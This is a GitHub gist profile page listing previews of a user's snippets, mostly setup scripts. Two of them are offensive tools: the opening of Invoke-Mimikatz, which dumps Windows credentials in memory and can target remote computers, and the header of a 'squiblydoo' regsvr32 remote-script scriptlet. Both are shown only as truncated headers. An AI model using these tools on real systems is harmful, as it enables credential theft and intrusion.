Skip to content

Instantly share code, notes, and snippets.

View crboyd's full-sized avatar

Casey Boyd crboyd

  • Colorado, United States
View GitHub Profile
{
"blockly": false,
"blockly_xml": "<xml></xml>",
"category": "Uncategorized",
"coa": {
"data": {
"description": "",
"edges": [
{
"id": "port_0_to_port_2",
@crboyd
crboyd / install-php7.2-mcrypt.sh
Created May 26, 2018 06:19 — forked from arzzen/install-php7.2-mcrypt.sh
Install PHP 7.2 MCrypt extension
## How to install mcrypt in php7.2
##
## https://lukasmestan.com/install-mcrypt-extension-in-php7-2/
##
#
# Check version php and pecl
#
php -v # if default php is not 7.2 then use /usr/bin/php7.2 instead php
This file has been truncated, but you can view the full file.
function Invoke-Mimikatz
{
<#
.SYNOPSIS
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerName parameter which allows it to be executed against multiple computers.
This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
@crboyd
crboyd / recover_source_code.md
Created March 12, 2017 00:04 — forked from simonw/recover_source_code.md
How to recover lost Python source code if it's still resident in-memory

How to recover lost Python source code if it's still resident in-memory

I screwed up using git ("git checkout --" on the wrong file) and managed to delete the code I had just written... but it was still running in a process in a docker container. Here's how I got it back, using https://pypi.python.org/pypi/pyrasite/ and https://pypi.python.org/pypi/uncompyle6

Attach a shell to the docker container

Install GDB (needed by pyrasite)

apt-get update && apt-get install gdb
@crboyd
crboyd / Backdoor-Minimalist.sct
Created May 25, 2016 20:57
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
@crboyd
crboyd / install.sh
Last active September 19, 2015 17:02 — forked from fideloper/install.sh
Vagrant Provisioning Script for PHP applications. This installs a LAMP stack.
#!/usr/bin/env bash
echo ">>> Starting Install Script"
# Update
sudo apt-get update
# Install MySQL without prompt
sudo debconf-set-selections <<< 'mysql-server mysql-server/root_password password root'
sudo debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password root'
# Add 2600hz repo
#--------------------------------------
curl -o /etc/yum.repos.d/2600hz.repo https://gist.github.com/x974/ef96abe5d060a8fa41f3/raw/ac410938539a6bcda607ee575f3323d8b488de87/2600hz.repo
# Set hostname
#--------------------------------------
change first line of /etc/hosts from
127.0.0.1 kazoo.mydomain.com localhost localhost.localdomain localhost4 localhost4.localdomain4
# install packages